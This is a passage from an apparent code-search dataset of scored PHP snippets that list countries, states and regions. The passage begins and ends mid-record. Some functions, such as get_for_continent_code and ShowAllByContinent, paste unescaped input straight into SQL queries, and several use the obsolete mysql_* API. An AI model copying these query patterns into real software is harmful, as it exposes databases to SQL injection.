+@country_code', [\n '@country' => $name,\n '@country_code' => $region_meta->getCountryCode(),\n ]);\n }\n }\n return $regions;\n }", "title": "" }, { "docid": "229dd8ea53589168e820aeb74900d4f3", "score": "0.53142565", "text": "function getCountryList($country='')\n\t{\n\t\t$return='';\n\t\t$query=mysql_query('Select *from tbl_countries order by country_name asc');\n\t\twhile($data=mysql_fetch_array($query))\n\t\t{\n\t\t\tif($data['country_id']==$country) {\n\t\t\t\t$return.='<option value=\"'.$data['country_id'].'\" selected=\"true\">'.$data[\"country_name\"].'</option>';\n\t\t\t} else {\n\t\t\t\t$return.='<option value=\"'.$data['country_id'].'\">'.$data[\"country_name\"].'</option>';\n\t\t\t}\n\t\t}\n\t\treturn $return;\n\t}", "title": "" }, { "docid": "344d878485d5eeacc434f4e1cd5cd3bd", "score": "0.5312171", "text": "function get_sponsors_banner($country_name)\r\n\t{\r\n\t\tinclude \"../lib/sponsors_array.php\";\r\n\t\t$count = 0;\r\n\t\r\n\t\tglobal $banner;\r\n\t\t$banner = array();\r\n\t\t\r\n\t\tforeach ($SPONSORS_BANNER as $INFO) {\r\n\t\t\tif ($INFO['country'] == $country_name) {\r\n\t\t\t\tforeach ($INFO['main_sponsors'] as $main_sponsor_name) {\r\n\t\t\t\t\r\n\t\t\t\t\tif(!empty($main_sponsor_name)) {\r\n\t\t\t\t\t\t$banner[$count] = \"<a target='blank' href='\" . $SPONSORS[$main_sponsor_name]['url'] . \"'><img src='\" . $SPONSORS[$main_sponsor_name]['banner_1'] . \"' alt='\" . $SPONSORS[$main_sponsor_name]['title_desc'] . \"' /></a>\";\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\t$count++;\r\n\t\t\t\t\t\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\t//print_r($banner);\r\n\t\treturn $banner;\r\n\t\t\r\n\t}", "title": "" }, { "docid": "005900ec73e83395968d68b328cad3c4", "score": "0.53092027", "text": "public function findList() {\n $countries = Cache::read('_geography_country_list', 'geography');\n if (empty($countries)) {\n $countries = $this->find('list');\n Cache::write('_geography_country_list',$countries, 'geography');\n }\n return $countries;\n \n }", "title": "" }, { "docid": "4b2759f79ffc3dccf5e4e42af86e48d0", "score": "0.5307473", "text": "public function country_detail()\n {\n $options=[\n 'projection'=>[\n '_id'=>1,\n 'country_name'=>1\n ],\n 'sort'=>[\n 'country_name'=>1\n ]\n ];\n $res = $this->mongo_db->find(MDB_CSC,['country_status'=>'A'],$options);\n return (!empty($res))?$res:array();\n }", "title": "" }, { "docid": "8bdb29176b7143f470f66a449169264b", "score": "0.5305716", "text": "private function getCountriesFilter() {\n\t\t$countries = $this->getCountries();\n\t\t$data = array();\n\t\t$data[-1] = _(\"All\");\n\t\t\n\t\tforeach ($countries as $key => $value) {\n\t\t\t$data[$key] = $value;\n\t\t}\n\t\t\n\t\treturn $data;\n\t}", "title": "" }, { "docid": "b85e0e47858f4f00c355b9bfd8e17dda", "score": "0.53009933", "text": "public function actionCountries()\n\t{\n\t\t$items = [\n\t\t\t'ZZ' => ['oldIdUbigeo'=>'2533', 'name'=>'(Todos los paises)', 'timeZoneId' => 'America/Lima', 'asciiName' => 'Todos los paises', 'code3'=>'ZZZ','languageId'=>'es','currencyId'=>'USD', 'visible' => false],\n\t\t\t'PE' => ['oldIdUbigeo'=>'2533', 'name'=>'Perú', 'timeZoneId' => 'America/Lima', 'asciiName' => 'Peru', 'code3'=>'PER','languageId'=>'es','currencyId'=>'PEN'],\n\t\t\t'CL' => ['oldIdUbigeo'=>'4623', 'name'=>'Chile', 'timeZoneId' => 'America/Santiago', 'asciiName' => 'Chile', 'code3'=>'CHL','languageId'=>'es','currencyId'=>'CLP'],\n\t\t\t'CO' => ['oldIdUbigeo'=>'4626', 'name'=>'Colombia', 'timeZoneId' => 'America/Bogota', 'asciiName' => 'Colombia', 'code3'=>'COL','languageId'=>'es','currencyId'=>'COP'],\n\t\t\t'AR' => ['oldIdUbigeo'=>'4595', 'name'=>'Argentina', 'timeZoneId' => 'America/Argentina/Buenos_Aires', 'asciiName' => 'Argentina', 'code3'=>'ARG','languageId'=>'es','currencyId'=>'ARS'],\n\t\t\t'BO' => ['oldIdUbigeo'=>'4610', 'name'=>'Bolivia', 'timeZoneId' => 'America/La_Paz', 'asciiName' => 'Bolivia', 'code3'=>'BOL','languageId'=>'es','currencyId'=>'BOB'],\n\t\t\t'EC' => ['oldIdUbigeo'=>'4637', 'name'=>'Ecuador', 'timeZoneId' => 'America/Guayaquil', 'asciiName' => 'Ecuador', 'code3'=>'ECU','languageId'=>'es','currencyId'=>'USD'],\n\t\t\t'CR' => ['oldIdUbigeo'=>'4632', 'name'=>'Costa Rica', 'timeZoneId' => 'America/Costa_Rica', 'asciiName' => 'Costa Rica', 'code3'=>'CRI','languageId'=>'es','currencyId'=>'CRC'],\n\t\t\t'MX' => ['oldIdUbigeo'=>'4702', 'name'=>'México', 'timeZoneId' => 'America/Mexico_City', 'asciiName' => 'Mexico', 'code3'=>'MEX','languageId'=>'es','currencyId'=>'MXN'],\n\t\t\t'PA' => ['oldIdUbigeo'=>'4720', 'name'=>'Panamá', 'timeZoneId' => 'America/Panama', 'asciiName' => 'Panama', 'code3'=>'PAN','languageId'=>'es','currencyId'=>'PAB'],\n\t\t\t'PY' => ['oldIdUbigeo'=>'4722', 'name'=>'Paraguay', 'timeZoneId' => 'America/Asuncion', 'asciiName' => 'Paraguay', 'code3'=>'PRY','languageId'=>'es','currencyId'=>'PYG'],\n\t\t\t'UY' => ['oldIdUbigeo'=>'4767', 'name'=>'Uruguay', 'timeZoneId' => 'America/Montevideo', 'asciiName' => 'Uruguay', 'code3'=>'URY','languageId'=>'es','currencyId'=>'UYU'],\n\t\t\t'BR' => ['oldIdUbigeo'=>'4613', 'name'=>'Brasil', 'timeZoneId' => 'America/Sao_Paulo', 'asciiName' => 'Brasil', 'code3'=>'BRA','languageId'=>'pt','currencyId'=>'BRL'],\n\t\t\t'HN' => ['oldIdUbigeo'=>'4664', 'name'=>'Honduras', 'timeZoneId' => 'America/Tegucigalpa', 'asciiName' => 'Honduras', 'code3'=>'HND','languageId'=>'es','currencyId'=>'HNL'],\n\t\t\t'GT' => ['oldIdUbigeo'=>'4658', 'name'=>'Guatemala', 'timeZoneId' => 'America/Guatemala', 'asciiName' => 'Guatemala', 'code3'=>'GTM','languageId'=>'es','currencyId'=>'GTQ'],\n\t\t\t'SV' => ['oldIdUbigeo'=>'4639', 'name'=>'El Salvador', 'timeZoneId' => 'America/El_Salvador', 'asciiName' => 'El Salvador', 'code3'=>'SLV','languageId'=>'es','currencyId'=>'SVC'],\n\t\t\t'VE' => ['oldIdUbigeo'=>'4770', 'name'=>'Venezuela', 'timeZoneId' => 'America/Caracas', 'asciiName' => 'Venezuela', 'code3'=>'VEN','languageId'=>'es','currencyId'=>'VEF'],\n\t\t\t'NI' => ['oldIdUbigeo'=>'4711', 'name'=>'Nicaragua', 'timeZoneId' => 'America/Managua', 'asciiName' => 'Nicaragua', 'code3'=>'NIC','languageId'=>'es','currencyId'=>'NIO'],\n\t\t\t'DO' => ['oldIdUbigeo'=>'4729', 'name'=>'República Dominicana', 'timeZoneId' => 'America/Santo_Domingo', 'asciiName' => 'Republica Dominicana', 'code3'=>'DOM','languageId'=>'es','currencyId'=>'DOP'],\n\t\t\t'PR' => ['oldIdUbigeo'=>'15167', 'name'=>'Puerto Rico', 'timeZoneId' => 'America/Puerto_Rico', 'asciiName' => 'Puerto Rico', 'code3'=>'PRI','languageId'=>'es','currencyId'=>'USD'],\n\t\t];\n\t\t\t\n\t\t$added = [];\n\t\tforeach ($items as $itemId => $item)\n\t\t{\n\t\t\t$row = Country::findOne($itemId);\n\t\t\tif (!$row) {\n\t\t\t\t$row = new Country($item);\n\t\t\t\t$row->id = $itemId;\n\t\t\t\tif ($row->save())\n\t\t\t\t\t$added[] = $item['name'];\n\t\t\t\telse \n\t\t\t\t\tYii::$app->getSession()->addFlash('warning', 'Error al agregar: ' . VarDumper::export($row->errors));\n\t\t\t}\n\t\t}\n\t\tif (count($added) > 0)\n\t\t\tYii::$app->getSession()->addFlash('success', 'Se agregaron: ' . implode(\", \", $added));\n\t\telse\n\t\t\tYii::$app->getSession()->addFlash('warning', 'Nada que agregar');\n\t\t\t\n\t\treturn $this->redirect(['index']);\n\t}", "title": "" }, { "docid": "45b1f8f482acfbc8a17f18bd3ec1d0fa", "score": "0.5292588", "text": "public function index() {\n $countries = Country::all();\n }", "title": "" }, { "docid": "23a9162059352f9f9c15d67e87b94e39", "score": "0.5289148", "text": "function getAllCountry(){\n\t\ttry{\n\t\t\t$CI\t= & get_instance();\n\t\t\t$sql\t= \"select * from qw.get_country_codes('all')\";\n\t\t\t$results\t= $CI->db->query($sql);\n\t\t\t$results\t= $results->row();\n\t\t\t$countries\t= !empty($results->get_country_codes) ? json_decode($results->get_country_codes) :array();\n\t\t\tif(!empty($countries)){\n\t\t\t\treturn $countries;\n\t\t\t}return false;\n\t\t}catch(Exception $ex){\n\t\t\tlog_message('Error','Unable to get all country '.$ex->getMessage());\n\t\t}\n\t}", "title": "" }, { "docid": "d429b0b78149d367474beb3b7de0e2f7", "score": "0.5276099", "text": "public function country();", "title": "" }, { "docid": "d429b0b78149d367474beb3b7de0e2f7", "score": "0.5276099", "text": "public function country();", "title": "" }, { "docid": "180978343378c97240de7a46e8b41df8", "score": "0.5261703", "text": "function allCountrys()\n\t{\n\t\tglobal $db;\n\t\t$query = $sql = \"Select * FROM regions_cou ORDER BY country_cou DESC\";\n\n\t $result = $db->query($query);\n\t\treturn $result;\n\t}", "title": "" }, { "docid": "43ce150040d65d1c6548aee823d59556", "score": "0.5257185", "text": "function getEvents()\n\t{\n\t\tglobal $db;\n\t\t$query = $sql = \"Select e.name_evt, e.location_evt, s.name_sre,c.country_cou, e.dateTime_evt\n\t \t\t\t\t\tFROM events_evt e JOIN subregions_sre s\n\t \t\t\t\t\tON e.subregions_sre_id_sre = s.id_sre\n\t \t\t\t\tJOIN regions_cou c on s.region_id_sre = c.id_cou\n\t \t\t\t\tORDER BY dateTime_evt Desc\";\n\t\t$result = $db->query($query);\n\t\treturn $result;\n\t}", "title": "" }, { "docid": "4173ba6e45516fd8867b66ae494ae84c", "score": "0.52393633", "text": "function osc_list_country_url() {\n return osc_search_url(array('sCountry' => osc_list_country_code()));\n }", "title": "" }, { "docid": "5488f56c1522c9d835c782f5edf27499", "score": "0.5235186", "text": "public function getCountriesList(){\n $countryTable = new Application_Model_DbTable_Countries();\n $select = $countryTable->select()\n ->order(\"country_english_name asc\");\n \n $countriesRowset = $countryTable->fetchAll($select);\n\n $countriesData = array();\n\n foreach($countriesRowset as $countryRow){\n $countriesData[$countryRow->id] = array(\n 'id' => $countryRow->id, // Modified for Testament ##sarvesh\n 'country_name' => $countryRow->country_english_name,\n 'country_code' => $countryRow->country_code,\n 'min_nsn' => $countryRow->min_nsn,\n 'max_nsn' => $countryRow->max_nsn\n );\n }\n \n return $countriesData;\n }", "title": "" }, { "docid": "ac610371a1af656f348e4522e5c8adfb", "score": "0.5231763", "text": "public function index()\n {\n return Countries::all()->map(function ($country) {\n return $country->get('name.common');\n });\n }", "title": "" }, { "docid": "1859b509ad3afdb9440f6241e544c6d1", "score": "0.5231727", "text": "function getList($name = '', $continent = 0, $country = '', $status = 0)\n {\n $this->db->select('*');\n $this->db->from('tbl_lang');\n\n $query = $this->db->get();\n\n $result = $query->result();\n return $result;\n }", "title": "" }, { "docid": "2965f60a621ca5841c5594e31386cd6a", "score": "0.52207947", "text": "public function get_for_continent_code($continent_code){\n $sql = \"SELECT * FROM `geocountries` WHERE Continent = '$continent_code'\";\n return $this->query($sql)->fetchall(PDO::FETCH_ASSOC); \n }", "title": "" }, { "docid": "be3f0e28a130f186081754e5e2623328", "score": "0.5217525", "text": "function getCountry();", "title": "" }, { "docid": "0b3aeaa020eff1013d3e73180458aee2", "score": "0.5215246", "text": "public static function abbreviations(): array\n {\n return array_values(self::$countries);\n }", "title": "" }, { "docid": "59a26495e1415e2b0fe05181dd64083b", "score": "0.5207561", "text": "protected function getViewData() {\r\n\t\t$countries = array();\r\n\t\t$selectedCountry = $this->database->real_escape_string($this->selectedCountry);\r\n\t\t$sql = \"SELECT * FROM zielflughafen WHERE Land = \\\"$selectedCountry\\\"\";\r\n\t\t$recordset = $this->database->query ($sql);\r\n\t\tif (!$recordset)\r\n\t\t\tthrow new Exception(\"Abfrage fehlgeschlagen: \".$this->database->error);\r\n\r\n\t\t// read selected records into result array\r\n\t\t$record = $recordset->fetch_assoc();\r\n\t\twhile ($record) {\r\n\t\t\t$airport = $record[\"Zielflughafen\"];\r\n\t\t\t$country = $record[\"Land\"];\r\n\t\t\t$countries[$airport] = $country;\r\n\t\t\t$record = $recordset->fetch_assoc();\r\n\t\t}\r\n\t\t$recordset->free();\r\n\t\treturn $countries;\r\n\t}", "title": "" }, { "docid": "ad124d981916b0360a590557b1a62bee", "score": "0.5205285", "text": "static public function countries(){\n $countries = \"Afghanistan,Akrotiri,Albania,Algeria,American Samoa,Andorra,Angola,Anguilla,Antarctica,Antigua and Barbuda,Argentina,Armenia,Aruba,Ashmore and Cartier Islands,Australia,Austria,Azerbaijan,Bahamas,Bahrain,Bangladesh,Barbados,Bassas da India,Belarus,Belgium,Belize,Benin,Bermuda,Bhutan,Bolivia,Bosnia and Herzegovina,Botswana,Bouvet Island,Brazil,British Indian Ocean Territory,British Virgin Islands,Brunei,Bulgaria,Burkina Faso,Burma,Burundi,Cambodia,Cameroon,Canada,Cape Verde,Cayman Islands,Central African Republic,Chad,Chile,China,Christmas Island,Clipperton Island,Cocos (Keeling) Islands,Colombia,Comoros,Congo (Democratic Republic of the),Congo (Republic of the),Cook Islands,Coral Sea Islands,Costa Rica,Cote d'Ivoire,Croatia,Cuba,Cyprus,Czech Republic,Denmark,Dhekelia,Djibouti,Dominica,Dominican Republic,Ecuador,Egypt,El Salvador,Equatorial Guinea,Eritrea,Estonia,Ethiopia,Europa Island,Falkland Islands (Islas Malvinas),Faroe Islands,Fiji,Finland,France,French Guiana,French Polynesia,French Southern and Antarctic Lands,Gabon,Gambia,Gaza Strip,Georgia,Germany,Ghana,Gibraltar,Glorioso Islands,Greece,Greenland,Grenada,Guadeloupe,Guam,Guatemala,Guernsey,Guinea,Guinea-Bissau,Guyana,Haiti,Heard Island and McDonald Islands,Holy See (Vatican City),Honduras,Hong Kong,Hungary,Iceland,India,Indonesia,Iran,Iraq,Ireland,Isle of Man,Israel,Italy,Jamaica,Jan Mayen,Japan,Jersey,Jordan,Juan de Nova Island,Kazakhstan,Kenya,Kiribati,North Korea,South Korea,Kuwait,Kyrgyzstan,Laos,Latvia,Lebanon,Lesotho,Liberia,Libya,Liechtenstein,Lithuania,Luxembourg,Macau,Macedonia,Madagascar,Malawi,Malaysia,Maldives,Mali,Malta,Marshall Islands,Martinique,Mauritania,Mauritius,Mayotte,Mexico,Federated States of Micronesia,Moldova,Monaco,Mongolia,Montserrat,Morocco,Mozambique,Namibia,Nauru,Navassa Island,Nepal,Netherlands,Netherlands Antilles,New Caledonia,New Zealand,Nicaragua,Niger,Nigeria,Niue,Norfolk Island,Northern Mariana Islands,Norway,Oman,Pakistan,Palau,Panama,Papua New Guinea,Paracel Islands,Paraguay,Peru,Philippines,Pitcairn Islands,Poland,Portugal,Puerto Rico,Qatar,Reunion,Romania,Russia,Rwanda,Saint Helena,Saint Kitts and Nevis,Saint Lucia,Saint Pierre and Miquelon,Saint Vincent and the Grenadines,Samoa,San Marino,Sao Tome and Principe,Saudi Arabia,Senegal,Serbia and Montenegro,Seychelles,Sierra Leone,Singapore,Slovakia,Slovenia,Solomon Islands,Somalia,South Africa,South Georgia and the South Sandwich Islands,Spain,Spratly Islands,Sri Lanka,Sudan,Suriname,Svalbard,Swaziland,Sweden,Switzerland,Syria,Taiwan,Tajikistan,Tanzania,Thailand,Timor-Leste,Togo,Tokelau,Tonga,Trinidad and Tobago,Tromelin Island,Tunisia,Turkey,Turkmenistan,Turks and Caicos Islands,Tuvalu,Uganda,Ukraine,United Arab Emirates,United Kingdom,United States,Uruguay,Uzbekistan,Vanuatu,Venezuela,Vietnam,Virgin Islands,Wake Island,Wallis and Futuna,West Bank,Western Sahara,Yemen,Zambia,Zimbabwe\";\n \n$countries_array = explode(\",\", $countries);\nreturn $countries_array;\n}", "title": "" }, { "docid": "b31edfd335c43f11968d425962296fd1", "score": "0.51965463", "text": "public function actionListAllStatesInACountry(){\n $country_id = $_REQUEST['country_id'];\n \n //$service_id = 2;\n \n $criteria = new CDbCriteria();\n $criteria->select = '*';\n $criteria->condition='country_id=:id';\n $criteria->params = array(':id'=>$country_id);\n $criteria->order = \"name\";\n $state = State::model()->findAll($criteria); \n \n if($state===null) {\n http_response_code(404);\n $data['error'] ='No record found';\n echo CJSON::encode($data);\n } else {\n header('Content-Type: application/json');\n echo CJSON::encode(array(\n \"success\" => mysql_errno() == 0,\n \"state\" => $state)\n );\n \n }\n \n }", "title": "" }, { "docid": "d0a6adcb757e0e77c76c00c3c6dea7e0", "score": "0.51825196", "text": "public function index()\n {\n return Country::with([])\n ->get();\n }", "title": "" }, { "docid": "91a98ee0723bc9997a570e18fee93031", "score": "0.51703626", "text": "function getAllEvents(){\n \t$response = getAllEvents();\n \t$all_awp_events = awp_convertObjToArray($response->return->eventsList);\n $allevents=array();\n $currentdate = gmdate(DATE_ATOM,mktime());\n if( count($all_awp_events)>0){\n foreach($all_awp_events as $events){\n if(strtotime($events->startDate)<=strtotime($currentdate) && strtotime($events->endDate)>=strtotime($currentdate)){\n array_push($allevents,$events);\n }\n }\n }\n return $allevents;\n }", "title": "" }, { "docid": "aec53c624884a35643a2b74431ae91cd", "score": "0.51650363", "text": "protected function _getCountryList()\n\t{\n\t $cacheid = self::CACHE_ID_COUNTRYLIST;\n\t if(method_exists($this->getDefaultTranslator(), 'getlocale'))\n\t {\n \t $cacheid .= $this->getDefaultTranslator()->getLocale();\n\n\t }\n\t elseif(method_exists($this->getDefaultTranslator(), 'getadapter') && method_exists($this->getDefaultTranslator()->getAdapter(), 'getlocale'))\n\t {\n\t $cacheid .= $this->getDefaultTranslator()->getAdapter()->getLocale();\n\t }\n\t \n\t if($this->isCacheOn())\n\t {\n \t if(NULL == ($c = $this->getCache()->load($cacheid)))\n \t {\n \t $c = $this->_getCountryListSorted();\n $this->getCache()->save($c, $cacheid, array($cacheid));\n \t }\n\t }\n\t else\n\t {\n\t $c = $this->_getCountryListSorted();\n\t }\n\t\treturn $c;\n\t}", "title": "" }, { "docid": "9899befe43e828036345fb4176cdbd0c", "score": "0.51547474", "text": "public function getCountryName()\n\t{\n\t\treturn array(\n\t\t\t\"United States\", \"Albania\", \"Algeria\", \"American Samoa\",\n\t\t\t\"Angola\", \"Anguilla\", \"Antigua\", \"Argentina\", \"Armenia\", \"Aruba\", \"Australia\", \"Austria\", \"Azerbaijan\",\n\t\t\t\"Bahamas\", \"Bahrain\", \"Bangladesh\", \"Barbados\", \"Belarus\", \"Belgium\", \"Belize\", \"Benin\", \"Bermuda\", \"Bhutan\", \"Bolivia\",\n\t\t\t\"Bonaire\", \"Bosnia Herzegovina\", \"Botswana\", \"Brazil\", \"British Virgin Islands\", \"Brunei\", \"Bulgaria\", \"Burkina Faso\", \"Burundi\",\n\t\t\t\"Cambodia\", \"Cameroon\", \"Canada\", \"Cape Verde\", \"Cayman Islands\", \"Chad\", \"Chile\", \"China\", \"Colombia\", \"Congo\",\n\t\t\t\"Cook Islands\", \"Costa Rica\", \"Croatia\", \"Curacao\", \"Cyprus\", \"Czech Republic\",\n\t\t\t\"Denmark\", \"Djibouti\", \"Dominica\", \"Dominican Republic\", \"Ecuador\", \"Egypt\", \"El Salvador\", \"Estonia\", \"Ethiopia\", \"Fiji\", \"Finland\",\n\t\t\t\"France\", \"French Guiana\", \"French Polynesia\",\n\t\t\t\"Gabon\", \"Gambia\", \"Georgia\", \"Germany\", \"Ghana\", \"Gibraltar\", \"Greece\", \"Grenada\", \"Guadeloupe\",\n\t\t\t\"Guam\", \"Guatemala\", \"Guinea\", \"Guinea Bissau\", \"Guyana\",\n\t\t\t\"Haiti\", \"Honduras\", \"Hong Kong\", \"Hungary\", \"Iceland\", \"India\", \"Indonesia\", \"Ireland (Republic of)\", \"Israel\", \"Italy\", \"Ivory Coast\",\n\t\t\t\"Jamaica\", \"Japan\", \"Jordan\", \"Kazakhstan\", \"Kenya\", \"Kiribati\", \"Kosovo\",\n\t\t\t\"Kosrae Island\", \"Kuwait\", \"Kyrgyzstan\", \"Laos\", \"Latvia\", \"Lebanon\", \"Lesotho\", \"Lithuania\", \"Luxembourg\",\n\t\t\t\"Macedonia\", \"Madagascar\", \"Malawi\", \"Malaysia\", \"Maldives\", \"Mali\", \"Malta\",\n\t\t\t\"Marshall Islands\", \"Martinique\", \"Mauritania\", \"Mauritius\", \"Mexico\", \"Moldova\", \"Mongolia\", \"Montserrat\", \"Morocco\", \"Mozambique\",\n\t\t\t\"Nepal\", \"Netherlands\", \"New Caledonia\", \"New Zealand\", \"Nicaragua\", \"Niger\", \"Nigeria\", \"Northern Mariana Islands\", \"Norway\",\n\t\t\t\"Oman\", \"Pakistan\", \"Palau\", \"Panama\", \"Papua New Guinea\", \"Paraguay\", \"Peru\", \"Philippines\", \"Poland\", \"Ponape\", \"Portugal\", \"Puerto Rico\",\n\t\t\t\"Qatar\", \"Reunion\", \"Romania\", \"Rota\", \"Russia\", \"Rwanda\", \"Saipan\", \"Saudi Arabia\", \"Senegal\", \"Serbia and Montenegro\", \"Seychelles\", \"Singapore\",\n\t\t\t\"Slovakia\", \"Slovenia\", \"Solomon Islands\", \"South Africa\", \"South Korea\", \"Spain\", \"Sri Lanka\", \"St. Barthelemy\", \"St. Croix\", \"St. Eustatius\",\n\t\t\t\"St. John\", \"St. Kitts and Nevis\", \"St. Lucia\", \"St. Maarten\", \"St. Thomas\", \"St. Vincent and the Grenadines\",\n\t\t\t\"Suriname\", \"Swaziland\", \"Sweden\", \"Switzerland\", \"Syria\", \"Tadjikistan\", \"Taiwan\", \"Tanzania\", \"Thailand\", \"Tinian\", \"Togo\", \"Tonga\", \"Tortola\",\n\t\t\t\"Trinidad and Tobago\", \"Truk\", \"Tunisia\", \"Turkey\", \"Turkmenistan\", \"Turks and Caicos\", \"Tuvalu\", \"Uganda\", \"Ukraine\", \"Union Island\",\n\t\t\t\"United Arab Emirates\", \"United Kingdom\", \"Uruguay\", \"US Virgin Islands\", \"Uzbekistan\", \"Vanuatu\", \"Venezuela\", \"Vietnam\",\n\t\t\t\"Virgin Gorda\", \"Wallis and Futuna\", \"Western Samoa\", \"Yap\", \"Yemen\", \"Zambia\", \"Zimbabwe\"\n\t\t);\n\t}", "title": "" }, { "docid": "8895132227812757b0dd7e84a87a321d", "score": "0.5149973", "text": "public function test_can_get_all_countries()\n {\n $countryCollection = Country::factory()->createMany([\n ['name' => 'India', 'country_code' => 'IN'],\n ['name' => 'Sri-Lanka', 'country_code' => 'LK'],\n ['name' => 'Australia', 'country_code' => 'AU']\n ]);\n\n $response = $this->getJson('/countries');\n\n $responseCollection = $response->getOriginalContent();\n\n $this->assertEquals($countryCollection[0]->name, $responseCollection[0]->name);\n $this->assertEquals($countryCollection[1]->name, $responseCollection[1]->name);\n $this->assertEquals($countryCollection[2]->name, $responseCollection[2]->name);\n }", "title": "" }, { "docid": "8e1405e673259d437abd8823232c8855", "score": "0.5148221", "text": "protected function getAdList()\n {\n $result = Ad::where('is_show', '=', '1')\n ->orderBy('sort_order','asc')\n ->get();\n $this->result['fangjian'] = Request::input('room_id');\n $this->result['ads'] = $result;\n }", "title": "" }, { "docid": "cf85696ba2b5f4a4d2430be5d5fc59b7", "score": "0.51441354", "text": "public function getStateList(Request $request)\n {\n $input = $request->input();\n $validator = Validator::make($input, [\n 'country' => 'required|string',\n ]);\n\n if ($validator->fails()) {\n if (count($validator->errors()) <= 1) {\n return response()->json(['status' => 'exception','response' => $validator->errors()->first()]); \n } else {\n return response()->json(['status' => 'exception','response' => 'All fields are required']); \n }\n }\n $user = User::select('state')->distinct()->where('country',$input['country'])->whereNotNull('state');\n $event = BusinessEvent::select('state')->distinct()->where('country',$input['country'])->whereNotNull('state');\n $response = $user->union($event)->groupBy('state')->get();\n if($response != NULL && $response->count())\n return response()->json(['status' => 'success','response' =>$response]);\n else\n return response()->json(['status' => 'exception','response' => 'Could not find any State for this country']);\n }", "title": "" }, { "docid": "5c03461081c05102d5a7c1ebed3ba20f", "score": "0.5132434", "text": "function osc_list_country_items() {\n return osc_field(osc_list_country(), 'items', '');\n }", "title": "" }, { "docid": "6b261d3552c64da6db15b0ff98b48cc9", "score": "0.51312464", "text": "static public function africanCountries(){\n $countries = \"Algeria, Angola, Ascension, Benin, Botswana, Burkina Faso, Burundi, Cabinda, Cameroon, Cape Verde, Central African Republic, Chad, Comoros , Cueta, Djibouti, Democratic Republic of Congo, Egypt, Equatorial Guinea, Eritrea, Ethiopia, Gabon, Gambia, Ghana, Guinea, Guinea-Bissau, Ivory Coast, Kenya, Lesotho, Liberia, Libya, Madagascar, Madeira, Malawi, Mali, Mauritania, Mauritius, Mayotte, Melilla, Morocco, Mozambique, Namibia, Niger, Nigeria, Republic of the Congo, Reunion, Rwanda, Sahrawi Arab Democratic Republic, Saint Helena, Sao Tome & Principe, Senegal, Seychelles, Sierra Leone, Somalia, Somaliland, South Africa, South Sudan, Sudan, Swaziland, Tanzania, Togo, Tristan da Cunha, Tunisia, Uganda, Western Sahara, Zambia, Zimbabwe\";\nreturn explode(\", \", $countries);\n}", "title": "" }, { "docid": "74264756fa4d3b9e612ee004e7b2cb75", "score": "0.51311094", "text": "function get_countries()\r\n {\r\n $qry = \"select\r\n\t\t\t\tc.*\r\n\t\t\t\tfrom\r\n\t\t\t\tcountries c\";\r\n $qry = $this->db->query($qry);\r\n if($qry->num_rows()>0)\r\n {\r\n return $qry->result_array();\r\n }\telse{\r\n return array();\r\n }\r\n }", "title": "" }, { "docid": "263e624ffa4dd6b96a030a1273287800", "score": "0.5129482", "text": "function location_province_list_ps() {\n return array();\n}", "title": "" }, { "docid": "d68d032614654235899d2021997e0c02", "score": "0.5119117", "text": "public function allCountries(){\n return $this->get();\n }", "title": "" }, { "docid": "6c66db93a5e6c982dd49098c91159ba1", "score": "0.51156133", "text": "public function actionListAllStatesForACountry(){\n \n $country_id = $_REQUEST['country_id'];\n \n //$service_id = 2;\n \n $criteria = new CDbCriteria();\n $criteria->select = '*';\n $criteria->condition='country_id=:id';\n $criteria->params = array(':id'=>$country_id);\n $criteria->order = \"name\";\n $state = State::model()->findAll($criteria); \n \n if($state===null) {\n http_response_code(404);\n $data['error'] ='No record found';\n echo CJSON::encode($data);\n } else {\n header('Content-Type: application/json');\n echo CJSON::encode(array(\n \"success\" => mysql_errno() == 0,\n \"state\" => $state)\n );\n \n }\n \n }", "title": "" }, { "docid": "86893a79994c394d1e50a10057a55b00", "score": "0.51145023", "text": "function ShowAllByContinent($continent) {\n\t\t\n\t\t$thisContinent = urldecode($continent);\n\t\t\n\t\t$response=array();\n\t\t$result = $this->Query(\"SELECT * FROM zones WHERE zoneContinent = '$thisContinent'\");\n\t\twhile($zoneData = mysqli_fetch_array($result)) {\n\t\t\t$response[]=$zoneData;\n\t\t}\n\t\t\t\t\n\t\t//header('Content-Type: application/json');\n\t\techo json_encode($response);\t\t\n\t\treturn $response;\n\t\t\n\t}", "title": "" }, { "docid": "3ba087b6fbc003b9f54ffefd1464ae4d", "score": "0.5113803", "text": "public function getCountries()\n {\n $countries = [];\n\n foreach ($this->_xml->children() as $child) {\n $countries[] = new AllopassCountry($child);\n }\n\n return $countries;\n }", "title": "" }, { "docid": "819b4dc2495208ff69ae6de9aff78b74", "score": "0.5109311", "text": "public static function getCountryCodesList($activityFiler='all'){\n\t\t$rv=[];\n\t\t$sql = 'SELECT id FROM ' . DB_PREFIX . ZENARIO_COUNTRY_MANAGER_PREFIX . 'country_manager_countries WHERE 1 ' .self::getWhereCondForActiveField($activityFiler);\n\t\t$sql .= self::getOrderByClause();\n\t\t$res = ze\\sql::select($sql);\n\t\twhile($row = ze\\sql::fetchAssoc($res))\n\t\t\t$rv[strtoupper($row['id'])]=strtoupper($row['id']);\n\n\t\treturn $rv;\n\t}", "title": "" }, { "docid": "699e5860b87599a1f9057dc428ce4167", "score": "0.51084846", "text": "public static function all(): array\n {\n return self::$countries;\n }", "title": "" }, { "docid": "c54a7b95b7904fc0b56a42b880e36125", "score": "0.5106504", "text": "public function getCountriesAction(){\n\n $countries = $this->getDoctrine()->getRepository(\"NvCargaBundle:Country\")->findAll();\n \n \treturn array('countries' => $countries);\n }", "title": "" }, { "docid": "21920a647daf1ae5fcb2c81147972550", "score": "0.51050645", "text": "public function listaAdendo() {\n $this->sql = \"SELECT e.*,b.banco, TRIM(REPLACE(fantasia,'Cartório Postal - ','')) as fantasia\n\t\t\t\t\tFROM vsites_user_empresa e\n\t\t\t\t\tLEFT JOIN vsites_banco b ON e.id_banco = b.id_banco and e.id_banco<>''\n\t\t\t\t\tWHERE adendo=true and e.status='Ativo'\";\n $this->values = array();\n $empresas = $this->fetch();\n\n $this->sql = 'SELECT id_empresa,cidade,estado FROM vsites_franquia_regiao WHERE id_empresa=? GROUP BY id_empresa,estado,cidade order by estado, cidade';\n foreach ($empresas as $e) {\n $this->values = array($e->id_empresa);\n $e->regioes = $this->fetch();\n }\n return $empresas;\n }", "title": "" }, { "docid": "ef9fb73f1b2a36a2455bb11a65a83308", "score": "0.5099341", "text": "public function countries() {\n $data = SITEURL.\"index/countries\";\n return 